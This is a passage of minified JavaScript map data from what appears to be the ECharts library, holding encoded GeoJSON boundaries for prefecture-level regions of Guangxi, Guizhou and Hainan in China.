J@U"],encodeOffsets:[[112399,26500]]}},{type:"Feature",id:"4514",properties:{name:"崇左市",cp:[107.3364,22.4725],childNum:7},geometry:{type:"Polygon",coordinates:["@@@JVzšl@V@Xn@ll@VlnX@@VWLnŽUVmUULVlUV@blnUlnXVV„K‚xnLlb@lnbU@Vn°KVV„I@WXUlI°VXb‚VVbnLVan@‚x„J@_nJ„a@wVwV@@a@IU@UU@WKXwWIXKmKUa„a@U‚UUUk@@Umm„albVUXVVKnL‚a@knƒWƒXImanÝV@„V‚LUx²blKl™nLVbklWbn@JÆIXJ‚IVaœ™ÆKlw²@lUnWWnK„UUK@k@mmU@mnUVaVU„b@lVXVXIWƒƒK@Lam@@KUwnƒWkkmVIV@Xal@@KV@VUnI@›„_UWWUkam@kkm@ka@mƒk@wkJWIUU@WXkW™XkWWLUUƒ@UakLƒW™XV±VIVWUU@anUWaUK@IU@Vak@@UUKWaƒ@m@ak@@wUkla@mUaUklakwVƒ¯¯@WWUkLkKmaƒ™kLUnV`UxWX@Jkn@bmlƒakkk@ƒb@l¯bm„ƒbJ›b@VXn„bVV@„ƒbƒJUkkKWVU@mœÛVUUW@UVUJWXkVkKmUL@WW@U„Vl@XXKW„XJ@XVlmbUxnnm@UlVnV@XVm¦VJb@šmLkKÇbXblVkn@l@bWnX`V@@IVV@ŽV„V°n@@_naÆVVbUVVbUJnzlVUl‚XkV@Vlx@X„VnxƒbƒKUK@b¯VVUV™L"],encodeOffsets:[[109227,23440]]}},{type:"Feature",id:"4513",properties:{name:"来宾市",cp:[109.7095,23.8403],childNum:6},geometry:{type:"Polygon",coordinates:["@@nVlw„@VJU„„IVVUšV°lU²V@„l¤Ub@bUV@b‚@„b@bUblšVa„KnLla@UnUWmXlJXUlKV@V_U±Van@V£nV‚I„yšU@K@kn@@LVK@k@mnVl@VU„LUxVJÈUVIU‚aVkXKVVUXJ˜In`@nnV@Vl@@„UbVnl`n@VL@LnKlVn¦VlôXV‚nz„@V`VL@llIœll@Vb„b@ƒmIXƒl@„l„IVJnbWXXJWb@IU‚nVVn@xlš@nVJ„I@W„U°LUaVUUaVJVIwlKUalKnb@UnLVWU_@KVK@_šKVa„@VKU¯VLVKn@la„aUkU@maVU„J@k™@Um@XmbkyVaUIUU@KV@laVn@KXKWUkUk@ƒaW™UUVw@aXKmƒVaUUkšmIƒlUU@wUa™xUmmU™¯™U@WƒLUmVIUym@UVmUa@wmw@çm@aWLU„™JUIUamKmL@™aƒx¯¥ƒkU¥U@±„k„UVmKU_mJUbkKm„ƒLÅǙ_@WWUXUmaVUkK™„UWW@nVxkUƒxmL@KkKmbUI@KƒLkƃbUbW@UbUJUXV`UnU¦mŽVVkxVLUL@llL@b@bkKVb@bU`m@knmaL@a›@@U—WVUƒU@amK@akkk@@b@lm„VL@VUVUbƒVVXUJUU@V@XV`lLUVVV@nnLƒJVbVlzUVVbVVnUVVU„"],encodeOffsets:[[111083,24599]]}},{type:"Feature",id:"4509",properties:{name:"玉林市",cp:[110.2148,22.3792],childNum:6},geometry:{type:"Polygon",coordinates:["@@VJUXVVXlWX@V™xVnX@@`ššULWŽUXÅbWK@mULUUmJ@n¯b@l@VULVx„x‚XU`VXXJVI„V@nm`@nUŽVXn@lWVn@b@Jn@nU@Lm`@Xn@WJƒ¦U@@VnL„lV@@Xl`nIlJnkVL„w@KVK@UšaVL@bVKX™lUUKVK@I„VšL„a@U@WšLUlVL@bU@@blb@VlbUxVbXUVJ@xVL„U„lV@VU„bVLnKl„XJ@L‚b@an@VanL@`VLšKV_UWl@U_„a@WVInlVUUUVm@I@W@wVakIWm@U@ƒXwlaVbnI@ƒm»Va@aXaVLšU„»@aVa@k™KkL@KmU@WƒzUK@wU@VWUUVUUKUa@mKmbUK@_nWVaUkVaUaVUVLXKVƒVUVmVI@UkKkLm`UkW@UwWW_„UaU@WakXmK@xUXƒJkƒUUWUk@Wl—mJ@km@@aUKzmyVk„a@kkWVUU¯lmU@@w‚kkmV@Vk@mÅIƒ‚Ukƒaƒ@Ub@m@UUU`mUbWaWmb™X™XKWIXUWm@љ@y@UkIUJUUWLUWƒL@UkVUxW@kaWbKWnXxW¦n„m`XLVlUbVbUx™I@JmLUKUb@VW@@bkL@b@VlU@xkš@L@lƒxXxWXX°V@VVVbUVV@UVVbULVnVJUb²b‚aUb@VVVVInlV@VnXaVUšlI„VUb"],encodeOffsets:[[112478,22872]]}},{type:"Feature",id:"4504",properties:{name:"梧州市",cp:[110.9949,23.5052],childNum:6},geometry:{type:"Polygon",coordinates:["@@VbXblVlLXWln„wVV@VV@UnšWUXVbš‚@VWXa@kVK„UaVaVkšUlyX@Vaƒ—VmUwUaVU@UÈymI@aU°@š™nWV@VaVaw@IV@VmnLVK@kmmna@™„™VbVI@aV@XbW`U„„LUVVx„@VbUV@bl@VLXblJn¦lL„°°@n™@K@UlLnK„a°LWbnJ„¦UÒV„UllLlVnKnbWnn„V`„w‚@@Xa±™n™l@XKV_„WVkVa@kVyUa@wU£UW@UIVW‚@@a—wWaX_WKkVmUULmak@UJUI@±m»™—k@m»VyUIm™nmmwnkUmVaVIUn_mW@»Vk„@VwkmmUXa@IƒaVm—mƒ@Wm_U@mIUWóLmUk@laXmmkUK@UmKULUUmWULƒ@VakU™@Ub@bƒ¼™VUKWb@bUbn¼@„mJUakbWx@„@VXnlJUb@x@X@JUnVVUVmkUJ@XƒbV`k@VXU`™LUK@_mKUbm@@b@„U`@nlV@b„UnbVbn@@`VbUbVV¯bm@@mJXb@bVnUllVXUlbUl@LU¦VVmŽkLVb@b™l@V@XlK@V@nUJUz„°mށwmLmlXbWVU@UUUlƒIU@VVmV@@¦‚bXbWxX„WlXVWL@LUmkbU@@LVVVJUblzna@WVnš@@lƒIUVnbV@Vlƒbkbm@ULUKV°ULƒ@"],encodeOffsets:[[112973,24863]]}},{type:"Feature",id:"4511",properties:{name:"贺州市",cp:[111.3135,24.4006],childNum:4},geometry:{type:"Polygon",coordinates:["@@nL@xn@lKVkšwn@„alLlaXV@„lx„bVWV@aUa@aUk@mVUnVl„XL@JV@VxVIVƒX@„b@bl@@`ÇnXVlI@l„xUnlVVLkllV„@nmJUxnzWJ@VXLlŽšLVxnL@l„LlŽVI@V@lUnl¤Uz™Kš@„Vl@š„L‚l„Lnš‚b@VnVVU@k„a‚Knxn@VkVJ@ńUlakmWIUaVanm@_UK@UVWUa@klXam™U@Vmƒ™VIXW„@lUVknVlKVLXŽVXšW@b@VlšnnVL@KXL‚Kn@lb@UnW°@Va„X„WVb°aVa@I¯aUkUaVKVwƒaXk@a„a‚™@wkm@alanUVw@alK@Umkw@UƒaUmU@WXUaUK@UW@UaVWI@¥Xa@w@WWšVƒXwƒU@mKUXUWVU@a¯kl@akU@UULmK¯VUVW@U_m`U@@xVbUz@lUbUlƒXU`WLk@mš²šWb@ށ@ƒxU_mƒXmmamLkUkKVkUƒVу¥mIXa¯KƒbmLkK@V@Lmš¯@ƒ¯kKm¥kIWaUKk@@aVUUaƒ@UwVUƒKVƒX_WaU@@bUJUaƒš@šmbnn@lULmKUnU@@J‚xUbUbU@mX™š¯@VŽ@bnJÇz@VUVVbVxUn„˜UbW@kz™VUlUbVbƒŽUL@lWb"],encodeOffsets:[[113220,24947]]}},{type:"Feature",id:"4507",properties:{name:"钦州市",cp:[109.0283,22.0935],childNum:3},geometry:{type:"Polygon",coordinates:["@@@IlVVlnL‚@œxla„al@n„VLlx@x@bXnV@@`mXX`lbnaVL@blV@b„wnx‚I@xXJ°nK‚l„š@lbnKnblUVanKVb„@lUnJVI„VUb@V‚U@m„L@Ul@Xw„llVVXV@lVnlVn„l@XVlK„@@_VWVxX@lb„U„nV@@JlbnIlmnVV@UwVK@U@k°a@mnIVVVK@nXLÆaVWXVK™™@_W@Umšw@UXWWkUUVWUIVaƒUkJ™UVWbUmU@mkUJUU@UVab±aVaUIUmVKUaVUU@VUUaUUU@W¯XWWw„w@k@Kl™@wkV@U@alK@aX@@UmIUWUIƒ@mmkXU`U_WJUnUJmUk@@amLU@UVW@UkU@@VƒbUWVUk@@wmKkUWLUWX@JmIƒlUkkKWKkLWU@UKWa@bU@@a@_UKWƒUUUmJmw@nV_@ġğKóLmbU¼VÆ@xUXƒ@Um@wklVnUn›lkaUV@„lV²WVklWXXbWlkVkIm`UUƒLƒUU@UWƒx@XU@@lWLU@kbUbV`UXllUV@bmb@LnKVbULm‚šnVVIV`X@"],encodeOffsets:[[110881,22742]]}},{type:"Feature",id:"4508",properties:{name:"贵港市",cp:[109.9402,23.3459],childNum:3},geometry:{type:"Polygon",coordinates:["@@n@VzUJ‚nVŽ„K@XšVš°nVVnšwVb@xVV„knJl™VVUbn„WL@bUxVVXš„bl@lVXkWƒXwWaa@¥‚@nUUUV@„JVkVVV@XUWanknK‚xnƒ¯VyVI@m@UkL@W@Ušk@aUalKnUUV¥@KVkkaWVkUVkUm@aWanI@n@°aUUVaUa@_m@UamaƒV@akU@mV_@ƒa@KWIkƒmLUKƒaUVU@ƒkƒVUK@wUIWVUaVwka@Uka@aV@@aUKVk™K@X@Vƒb™KƒU@JULVLkVWšUL@aUK™b@VUL@LƒxUKmlkImJk_@WU@ƒkmK@UV@„¥XIm@@Wn_@KmVm@@I@aUmkXm@UWV@mn_@mƒUUJWIUWV_WƒwU@mUknVVmxU@@VUV@zU@UVW@ƒK@šX@VLUVƒKƒz@J@VnX@`±bUXVƒ¼™lšn@xmxÝL@‚Ubn°@XWVUxUVVnkbWVXV@Xš`ÆÈ„KnƒlLVanIV`nLVUlƒ²ƒV@V¦„l°¦„w‚b@šnKnLVbVJšIVƒXK@b‚n@ènx@xVbUnV‚"],encodeOffsets:[[112568,24255]]}},{type:"Feature",id:"4506",properties:{name:"防城港市",cp:[108.0505,21.9287],childNum:3},geometry:{type:"Polygon",coordinates:["@@XV@X°°U„lxkbVlVb@nkbVl@xl@@b@n„‚XbVL@Vl@UbV@@JVLXbmV@bVVUXUJU²šW„XlKVb„@VVXKlXšWlXXWV@VXJlI@x„l@nlbn@lln@lbXalIVK@ƒVwœUVb‚U@aXylUX@@aW@U_UJmU™nVKUamL@Kna@aVUkkVWU_ValaV@XK@kV@@W„wVXV@„V„KVVn_lJlUXkWaXWlkXU‚±kU@ƒVUlbœkVmUmlk™¯Ý™™W@mb@¦VxULm™kJUU@ma¯wƒmkX@VóJ±bUVUXÝWk™lWXXlƒxUaƒbƒIğ™Ç@U@mVUKkkm@UJm@XnWV@x"],encodeOffsets:[[110070,22174]]}},{type:"Feature",id:"4505",properties:{name:"北海市",cp:[109.314,21.6211],childNum:2},geometry:{type:"Polygon",coordinates:["@@VaVLnK@IšJVwUaVaUkWKn_mƒX¥WwXm‚LXalbU£UyV„Å@ݙwm@™°l›LÅUƒmk™mwÛaƑLÝUUm@ȣƃV_„Ó@£UƒƒUVƒ„™¼U°W̄™ÞVbXbôx@b@bmV@ǃ™UÝ@@ĢU`m@ŽnxnIVV‚VX„VL@`@bV@@aXbVL‚@XVlKXLlLVl„knJ@I‚WVXXKlVnL@xl@UVVX„a@UV@VlX@VUV@nK@bl@nVVIVmXIV`V_lWnn„@VJVXnJ"],encodeOffsets:[[112242,22444]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/gui_zhou_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"5203",properties:{name:"遵义市",cp:[106.908,28.1744],childNum:14},geometry:{type:"MultiPolygon",coordinates:[["@@@UnUlJn„w‚JU°VL@bnVšU„wlJ@XƒŽXVlU@klVUJknl„UllL@bUJ@xULUlƒ„UblVkblbnw‚UXmla@„wV@VK@L@UXaVKVLXWƒUVa@U@Im@@W@£UKUakKWIXU@al@@llUnL@W@Un@@VlUV@VIUanKl@Xb@lmxVb@b°bb@nlJVVnnJ@b@L‚V@ln„@LmV@Vx@blnVK„nlJXIlw„J@҄b@nlK@Un@UL@VVVVUUUVK„l„@VUVL„J@UVUUw„@Wm@™„UV„ÈVlbUb@JšLlŽX@@x„„ƒLmŽk@@nlx@bUJUzVJ„@@LVxUV@bWxnLnVVK@_‚K²xVbV@n¥@aVI@b„@l@Va„Knb@n‚`n„mmý„W@ƒU_šwV@VlVV@Vn@n„˜@nI@Jn@°¦VaUU@™„mVVWVaUńU@aVKnƒVbVUmmU@a@kUw™m@aUUmUUJ¯lakU‚aXaWUUaVƒkk„amkmUnVlULƒVlJ@XU@UJWUUw„k@aU@WbkWƒL@U@WU@@XUKmV@aUVwUĕUJUamUUVUÑm™nIVJ@kl@XalJVn@KVLœ¥@UWIXWmU@mVUKnUWLUKUaWUUKVU@U@anUny@UlUkK@w@a@aVUƒ»UkVw@Wmk—JƒÅmUUVmwXalLXWWUnam@XkƒJ@UVU@U@W„@@U@I@Wl@Ènlw@KXLWb„lVUkalKUU„VVaV@@wnIlaUmkUƒKWU@KkUkLWaƒKUUWUn@VƒK@LnnWJUIƒVkUWVnV@V™@@XƒK@VUIUJ@IWJkX@VVJ™IƒVkK@I@UVaUWk@m„@wnUWKk@mxk@@„lV@b„xmb@x@VUmLkUƒJ@nVV@b@VkLVbU`¯I›l@™U_UW@UU@™™ƒK¯wm@™xƒL¯¥kIƒ™ƒ‚@bkbƒ@Ua@ƒm@kkW@XVbmV@ŽkV@bWbUbV@„¦ƒxXlmVk@ƒ¦™bkaWL@KUImK@wUK@VUI™b@bmK@LÅy@akXW@kbWlXblL@ŽULUbƒ`@U™kUymX¯@mšUJUUJƒL@Lm@@WX@lU„VlšXll„@l@Èk°V°Ž„X@VU@UVll@XUJVXUVm@@VXLWlnV@Xƒšk@mVULnxV@@bm‚kL@VWLUbU@UVm@ƒb@ķ¥UnmJ@UUVƒkkJUšlÔU`UIW@ƒ°kLUlUI@WVI™U@mWKkXk@ƒ‚WU@bXšW„@J@xX@l@LVl@xšLVxXX@x‚KnxVknb‚KVV@U„L„WlXU`@nUlšX@llVXšVU„KlkUKlI@anKVLXKVaUIVWV_VK@VnLlU„»VKVL„m"],["@@@KlKkUUVVX"]], +encodeOffsets:[[[108799,29239]],[[110532,27822]]]}},{type:"Feature",id:"5226",properties:{name:"黔东南苗族侗族自治州",cp:[108.4241,26.4166],childNum:17},geometry:{type:"MultiPolygon",coordinates:[["@@VV@XkV@bUbWJU¼Vb@Vnb@bš„@J@bƒL@LV@UVƒlUI@a™KULVb@bkJmx„šlLVxknVJk„‚xnKmnnL@bn`WIXlWLU@UxVbUVmKV„XI@JVIVJ@U„L@Wš@@UmUXUlV„UVJXImm@K„L@UVmVXV‚„LXblKlV@LXV„LlVVnkbmJ@xnXl@šbXa‚@Vana„ÒšL„m‚VnIl‚Þ¦°k@b„@@lV„nJlUnš‚VX_„@lVlK„šV„UUxVLVWVIXJšUlnnWlI@KUaUUVKn@VaVXV@na@ƒmw¯@mUkJUamI@lk@@am@@I„ƒUmVImUUw˜™@anUVaUU@LU@WaWUXWW„wV@VwnU@L@ynbl@@X@a„J@nW@@Vn@„lVLlxnI„lš@@UWKUƒnIlJXIVllIVVš¼XK@aVI„V‚@@bn@VKXLVKVVVInw„J@UWI@mX@WKnI@KmU„UVJUL@V„KW@@k„@aU@@W@InJWUXwWI@Wƒ@¯wkaVaUIl@nŽValIXWWI@UUm@anwWkXWWIUbk@UJmIUamKVUUUVVama¯VkIVVUlKnXVwX@@WVaUUVa@IlƒaVmƒkna›wk™UU@ƒU@mUVƒšUVwœl°LVbnJVU™¯la@mX@@UWKXU@aV_V@@JlkUƒ¯@V™nK@km¯k„U@ƒWUW@mmƒU@™kmlU@wkL@WƒUkL@VmLƒJ@b@V@bknUUVK@UVKUK@Uk@Wa@LUVVnUbmVk@@UU@@aƒV¯K@U@UU@WmUL@aU@WV—w@ƒ˜I„xXll@UX‚K@KXXVJna@wWaƒ£naUKV„m@UU@mUmalm@@XkVm@U@VƒLmWU@kkWxU@@bVV@VkXVlƒVƒ@UUk@@ƒmI@KUw„m@UmVƒUUwU@lwkV@IUa@mUaVIVKVa@w@U@™UJkb@n@bmJ@XmlVUxWXkJmUkUUVW™xUlU@ƒaULUšmbU@@‚WXkmƒL@xUV@nUxÇm@„XLWbnlƒnV‚nnUV˜U‚nVVz„@lbUVVlULVb@V@nUJkwm@Ux@bWbUK@UULka›JbƒU™U@U@lUK@XUJmn™J@bU@UwWa™x@zkJWnUJUUVšVV@bXn@xVb@J™L™m@X™w@`@bkb@VmXUV¯L@mW@@n@V@‚ƒL@K—IW@@aƒaUx¯@U„m@XbW@@L„V@bnVWVkKUzlV@bÆa@lnI@VV@@LnVVKUaV_VJVbnU@bn@‚‚nX@yVIVxXKVLlUVaXU°J","@@@KlKkUUVVX"],["@@UUVUkUmV@ln@VXVK@K"]],encodeOffsets:[[[110318,27214],[110532,27822]],[[112219,27394]]]}},{type:"Feature",id:"5224",properties:{name:"毕节地区",cp:[105.1611,27.0648],childNum:8},geometry:{type:"Polygon",coordinates:["@@UkVƒ@k‚W@Xn@@K„KVIVVIn™°@nWVzšl@V„_VaVK@kKWaXklaX@lW@bÆz@KnL@ašaVJ@UVL@xnLVJ@LXKlbša„¥l@nUWk„wƒ¥U@VaXa@amLkUƒKmƒ¯kƒmkIUaƒKUIWƒkKm@anw@mlwXIƒmƒUk¯@a@amUƒ`kkKWVkxmUUak_mJmw@w„mXUW¯X›_@WnI@aVwkWWýŃU@WLkU™aUbVV@lUVVnm@kUmV¯™kK™LƒwmVUUaWV™aaWw¯wƒÈ@VULUVUUƒK@nWJkI™l@Umxnbm@kbUJƒa¯bUbVxmLUV™aU@VUUWxkVVV@bUV@XWbnlUbƒbUJlbUV¯b@z„`WbXnmbƒaƒwUwVWUƒbUxmbU@Uam™@Vƒk™VaƒwVaUƒWI@mUKóz@lUlÅ@WIƒb@xXxml@XklULWKUmwUa¯KUXWJkaULmKkLWbkKUVƒImƒƒWa@kUaULƒW¯LƒK¯@kbƒL@b™x@J@bmnnlUšlzU`U@@Uƒb@„m‚n¦°bU„Vx@bkVm¼mx@mk™mVV@bkxVn„aVV@bU@mL@b²`lIVV@lXLlš„bVxn@@bl@XllIVšnbVšn°°wlbXw@mVa°lVnU@mš™VLVbn@@b„@@WVnUV@Xlxn`VznJVb@L@bV`V@šUnwšU„@WUXKV@UUlmUUlaXalLšm„bšIVbnJVIlVVaUUnWVXn‚VL‚k@ƒnWnblnlb²x„xVKVXlVXLVW„LlUVJna@wVL„¼@JVX@`@nnx@nWJU@Vx@XXKšŽUblxUš°„LVKVVlL@KnbVUnJ„IlUšƒnKl£VW„x„IlJ@nšVÞUVVnb‚VX@V_°lnK","@@@UmWUwkU@Um@@VkL@V@„„‚V„VkV@nbVa@ƒ"],encodeOffsets:[[108552,28412],[107213,27445]]}},{type:"Feature",id:"5227",properties:{name:"黔南布依族苗族自治州",cp:[107.2485,25.8398],childNum:12},geometry:{type:"Polygon",coordinates:["@@‚V@IöalK@UV@@KUaVIVVœLlaVbVWnX@‚@LnUlxl@naVLXVVaVU„J@lUUanWWI„@VlV@Xbƒb@V„n@VmVVbk@kU@V›V@X„J@zn`ULW@kK@_WVUK@LUb@Jlxn@nnWlU@@b„x@XVVU@UbVb‚@n`VI@VVLUlUIUV@KmL@VV@XIV@@lVLVmXV„@WLXLW@U`šnkb@Vl@UL@VVV„L„llX@`lIXb„J˜IXW„L‚aVL@ŽXXW‚Ģ™b@bmK@L@°@Vnxmxšn„K@xVn@VkL@V™Lƒakbl`VnnxVnUlššV@@VVXV`@šœk°JV_UalK@U@aUU@m„IlVnK‚V@U@wnaƒw@akU@ƒl@nwl@XLmV@xnƒl@VXUb@V@JlL„UšJUI@UlWUƒnLVUUaVwV@XKWkXJm_@amKnmmLwlƒUIlmUwkKƒ™nwlI@aUaVKšL@bVJ„kVUU@@K„K@a@I™ƒ@ama@UUaV»XIVa@alU@WUU¯IWVUbkVUKWLUwUJ@zmWm@@amVUaUIU`VbULmU@KU@@UmJ@kÅb@akUVylLXUmU@aƒU@KX@Wan@Vƒ°@Vw„b@bX@˜J@L„K@@U@mX@@n°KVUnW@Ula@a@_šx@WšnšK@IUa@wWm@aUUU™VVVIXmlI@yšwXbVxV@@ašInmVI@WVL@k@VšV„V‚aœIlbVK@VVLXa@aVwn@lxVI@m@UUaVKUkVUkaƒ@UymUV—VUmmU„mmkXaWK@ƒÈnVw@mVU@w„KlnXW@V@naV™VKUk@KVIUWƒ@mk@KXU@Um@@lVƒk@UVJna@UWaƒL@a@ƒXa@kmmVUUk@mkkƒamJ—ImJUUmIm±aUUkambkamVUU@VlbUbVVƒxX„WVUU@VUakU@UmUV‚U@mnUVVnUbVJ@b—UW¥kLVamVkUaWJU_UVWKk@@nl„UVVJUXm@Vm@UnVlmbnmJUbULU@@UUKWVIWxnJVb@xUL@bUJWIkxƒbkb@xVJƒbmU@kW±LkKUkVa@a¯am¥ULkalÑlKXUWƒXƒaVakImVƒ@ka@UUƒJ¯aƒX™mmb—KWU@wUUƒaUa™KmU@UXlWb—¼WLUKUb°„UlVbkbVL@VƒšƒJ@nVlUbUXmJ@VX@lbUbU@@bWb@VnLVJ@bVVUz„ŽVL@lnL@b™VVVULmKUk™Jkbm@ƒxVb@V—kƒKVnnV@b@ŽWXU‚„nV„l‚VVXVJUXlVXbWV@VU@Ubk@@KWbUUmL@JnXV°XJ@_‚`UbkXVVlÆkbƒ@VLXVV@‚V@k„KXX@`V@@n"],encodeOffsets:[[108912,26905]]}},{type:"Feature",id:"5222",properties:{name:"铜仁地区",cp:[108.6218,28.0096],childNum:10},geometry:{type:"Polygon",coordinates:["@@°a@aÈbVUlU@aVKnVV„VUlyX¹lWVa@U™VƒnUVU@m™@mUl@„mÞw„@‚xnIVbna@KVI‚J@kwV¥ƒUXÇVkVW@kkKWU@aXUWmnIVa°VXbmL@VVbnVVVUb™VbšJVbVKXkVKVanU@aWnWUWa@U™nk@mVIVK@wXxlLXbVJVlKœbl@VI@mšaXalVV„VbX@@ašalnkx@b@V‚b@Vnx@bVVUXn¤WXn@Vl@Vlzn@š`@I@KUU@ƒV£namVkXa@aVK‚nnU@anVlKƒa@UUU@amk@»kƒU¯@aš„VWnkWmkImU@akaVm@»VUV@UKnkW¯XWlkUKnIWaš@nmlIXmWUnwUwWm@wULmaUJkIUaƒaWa—klwkwmJmU@bkJ@XUJ¯W@XbWbUKUkWJUUVKnn@UmmXUWa@mU@@UI@WmXVykwm@kaULWwU@¯ƒlKUUVU@mU@UkmaUbmV@b—š‚xVnVUJVnƒ„@Jn@@bl@@knJVblInV°@nx@„mbU@UWUbm@ULVVVb@LkJmXkm™VWIUJUXUKVwƒV™UƒŽkLkUƒ@W`Um™kVmIUƒ@kƒ@@a¯lÝ¥kmJUƒn™KƒÑmbUb@Wb™ak@mWU@UbƒUVVkLlbUVƒkXaWK@LkxÇmk@@X@J@Vƒ@@X@VUV@V„IWln@mbXVWXkKWbnxVUnV„ƘInl@XUxVl„¼UV@b@b@xlLkV@VmzmV@b@VUVVLXVVbVLXKmVVLU‚@nnVWXXJ@V›¦UK@LUmkIWbk@@lUImJnšVÒVUnVVbVIVĖUxV‚@bnUVL@WV@@X@V„KlXXaV@@bƒlVxXVVIV@@WkI„UVKUkVmlnnŽƒbllU„VbXVWbblVkb°ŽVInVVV@bšnVx@l@bnVVnUŽUam„UL@bƒVVÆUbUXU‚ƒn@šVVUb"],encodeOffsets:[[110667,29785]]}},{type:"Feature",id:"5223",properties:{name:"黔西南布依族苗族自治州",cp:[105.5347,25.3949],childNum:8},geometry:{type:"Polygon",coordinates:["@@VL@Vl@@IXW@kVUVbnW@XlKVVnU„VlL@b„aVbƒb@xX‚°ÔUxV@kbm@VxkxWJœ„V¦ƒŽ@ÈnšVKšxWXJmV@n„Ò@xVbn@@blLk`VX@bššla²JVUlnn@U±lw@wnw@mlwVIX@@m@klKnk‚a„KnwmmXkƍVm„Uš¥l@nb°n@„aVwVmVIVnI@a„¯@mšU°ƒl@@VnI@JV@UV@b@IUbVJmXöºƒzllUbVa@aXUl@„U@llLnKVaUa@UmK@UšwV„bnKV@VwVK@UXƒV@Vbn@‚w@U„WnX‚@„a@m„I„™@UUKlaUaVk¯ƒVaVLXK˜»XaWk¯mƒkğwmW@mIƒVkwƒJUIšÇVwU™UkVKkƒm@UkmU@WÅwm£Vƒ„m¤¯IkJWa™_™lUbmJzÝJk„ƒUÇVU„ƒ‚@bU„Ýn™m¯LUb@`mL@VkL@VƒUmmk@UU±Umka@kUƒ@ķymUkk@mmkÝmUaUakImV@V@VÅLƒ¦ƒJUXmJXšWb@n°Æœx‚¼nV@LlbUŽUbmL¯@ÞbV¤nbVx@bUVlblIœ™@KVVUnVJUn@VlLUlmLUUUxmK@I@@VW@@bU@UJmUkLVVUl@b@V"],encodeOffsets:[[107157,25965]]}},{type:"Feature",id:"5202",properties:{name:"六盘水市",cp:[104.7546,26.0925],childNum:5},geometry:{type:"MultiPolygon",coordinates:[["@@ôyVL@nXJV„Ub„x‚bUŽlšU„@ŽšnŽVbV@naVw„a‚VUXVx„x„bnaWmXaƒ_@y°aVUkaVI„aVamkXa@WVU@aUUlUXwVV@UVšbVUnKUwVa°a„bVIlan@manw@VšklJXI@m„LVVVUVK@U„ǃk@KUa@UkaVU@UVWV_XWVXVWlLXKlLXaÆKšwVL@akKm@Uwƒ@@XUVk@VUI@wWK@aUV™I@UkK@ƒmL™Wƒ@kImJƒUÅVmkXUW@UJkx@nmx@xkxV²m@kmUV±Ikb™™@aUWl_kK@am@Ua@wƒÑ@mnUWIX™wULm™@DŽU¥›ƒXIlwUwn@laU@Vw¯ÓW@w„aUaƒb@akKƒUmVUUkL@WmXUaUV@lWX@Jk@@UUKULmLUJmzkKmVX°VšUnWKUL™ƒƒL@mU@UnVJ@b@„UV@Xƒ`m_@l@@bmbXJmnnš@°˜wnn@ŽVLX@V‚@nVl@nk@@b‚l@nn°WlXzW`XXVKnUlxVbUb@‚V„Xb@Ž‚VxÈbVlnbmn@ŽkVUL@„ƒŽmLUVVL"],["@@@ƒ@UmWUwkU@Um@@VkL@V@„„‚@„V@VkV@nbVa"]],encodeOffsets:[[[107089,27181]],[[107213,27479]]]}},{type:"Feature",id:"5204",properties:{name:"安顺市",cp:[105.9082,25.9882],childNum:6},geometry:{type:"Polygon",coordinates:["@@lL@bUK™xÅLWbkKWLkKUXUWWXU`UX@VUVlb@VVb@L„l°xXx‚bšbXUVb‚VnU„xšKlL°šnUlVn@UmVU@kUUVašblVXKV@ƄXþlXUxnU@mVK@_@ml@UU„@šblU@KnLVyUw„@@UmkšWVw@UVK@VXzVK@n„VVUUW@kVJnlaš@nKW™kaWL@U—™õb@JU@mU@@_WWƒL@lUU@WUUK„@lakÅUUlWVa_@`WIU¯mW@InKVVXa@Ll@VaV@@UXUWakUVWUIUW‚UkUƒƒmVXW@@amUUm„L˜l@UUa„wn@lašIVlnLVKUUšU@amK@kUKƒVyUU@aUImK@UXa@aV@VakaW@@UnIVWVaUkƒb@mWƒX@Vxm@UaU@W„@VULUxU@mLƒaUŽ™x@VnL@VVbUbmLkK@kƒVk@WV@bUbVakk„yõ¹nWUIVa@J@aVUU@@ImJ@Uk@¯„™V@nƒ°@bmJUUJUnUxƒbm@¯Žmak@™¦ƒVUnŎWlnnmxƒLbmlkL@l@nWVnlÆU„VnIlJ„@šXnK@„lL@VšJVU@bXL@xVJUl@VU@W„@Vxn@"],encodeOffsets:[[108237,26792]]}},{type:"Feature",id:"5201",properties:{name:"贵阳市",cp:[106.6992,26.7682],childNum:5},geometry:{type:"Polygon",coordinates:["@@nŽlLX„VJ„LVblJ„n°ln„„LlVnKlU@nUUa@WlX@l„n@‚Vb„@la@a„„šlJ°¦„Kšwn@°x„LVkUmmwUmk_la„bšK@UlK@UUm@wƒL™mnwmw@U@¯@KnL@aša‚ġXWW@UKbƒKWX—JƒIWakJ@_kWƒkƒKUU@UVKk@@Ula™mV_X@WKXKƒ@WUUnUK@kU@WJU@@UnK@LVUVJVkUK@UUJm_@UaVaV@UU@Wƒw@aV@Xkmmm@kw@IVa@KVLXU@`lLX@VKm_@yƒI@WœU@UlVl@UanU@Uƒm@U„aWaU@Ukƒ@XJmXVbkV@ŽƒIUVUbWUUKmbk@kwmV@K@mWUXUakb›KUUUJVb@LU@@VkL˜š@VXKlbXšmL™@kbm‚UI@lVXUVƒU@mULWy@UUL@VUx™Xnl@Vƒ@VxUzmK@LkV™aƒ@VVk@@n@`UL@nmV@bmJ@Xœ`WX°WVƒn@xnxnIl`VbnVlwXUlLl‚„_nV@b@bl°„V„nWJkx@nmx@b"],encodeOffsets:[[108945,27760]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hai_nan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"469003",properties:{name:"儋州市",cp:[109.3291,19.5653],childNum:1},geometry:{type:"Polygon",coordinates:["@@஼jpnr’``ŽpRVHʘ̤žZt^JÖA˜[†CâlTébQhRPOhMBcRSQiROE[FYdGNOEIH]MgEAMLLIAG_WMCSL@ED]PCLYC[ZIHgjSxJTMbHNEFCMEE_HSDFHSLECRNSFDRICHNADGPI\\RZGIJTIAHLDQOHG`GTNCOIC@eIGDWHIS[kiE[FMbECZS@KKS[FDWsCeRuU_DUQNOE[LKGUBM¨EDQP@HWHGDImXƒCog_~‹I_fGDG|QDUWKBC\\ore|}[KLsISBHVXHCN`lNdQLOnFJSXcUEJMCKSHOUMDIm_‹DI`kNDIGEYFM\\YPEEIPMSGLIKOVAU_EBGQ@CIk`WGGDUM_XcIOLCJphHT_NCISG_R@V]\\OjSGAQSAKF]@q^mGFKSW^cQUC[]T}SGD@^_ˆaRUTO@OHATŸ”"],encodeOffsets:[[111506,20018]]}},{type:"Feature",id:"469005",properties:{name:"文昌市",cp:[110.8905,19.7823],childNum:1},g